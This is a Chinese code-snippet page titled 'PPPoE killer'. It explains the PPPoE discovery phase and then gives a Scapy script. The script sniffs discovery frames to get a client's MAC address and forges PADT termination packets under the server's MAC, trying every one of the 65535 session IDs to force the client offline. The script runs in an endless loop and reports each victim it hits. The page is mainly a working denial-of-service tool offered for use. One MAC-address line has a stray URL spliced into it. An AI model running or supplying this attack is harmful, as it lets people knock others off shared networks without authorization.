首页 > 代码库 > PPPoE杀手

PPPoE杀手

PPPoE协议原理:

第一阶段:

    1.pppoe client广播发送PADI数据包建立连接,

    2.pppoes erver回复一个单单播帧

    3.client回复一个单播请求

    4.pppoe server就会回复一个允许包(包中携带sessionid)

          

第二阶断:然后双方使用PPP的LCP协议协商链路,NCP进行密码检验,即可通讯。

          

重点:第一阶段pppoe会话重要依据就是双方的mac和sessionid


原理:只要在pppoe client发送广播帧发送discovery时,监听网络,得到client mac地址,再对client发送一个PADT数据包,包中包含sessionid,这时就可以使client误以为server结束了连接。注意:在发送病毒帧时,双方应该已经完成了第一阶段的会话    


由于我们不清楚客户获得的sessionid,所以对于sessionid的取值直接使用了数据字典,因此为了破坏连接必须发送65535个数据包,所需时间较长;


代码如下:


from  scapy.all import *


while True:

        try:

                        a=sniff(filter=‘pppoed‘,count=1)

                        c=Ether()/PPPoE()

                        c.dst=a[0].src

                        c.src="http://www.mamicode.com/00:0c:29:be:f5:21"  //注意:这个src是你pppoe服务器的mac地址,请酌情手工修改

                        c.type=0x8863

                        c.payload.code=0xa7

                        c.payload.sessionid=range(65535)

                        c.payload.len=0

                        sendp(c)

                        print "We have attack one,his/her mac address is "+a[0].src

        except:

                continue


PPPoE杀手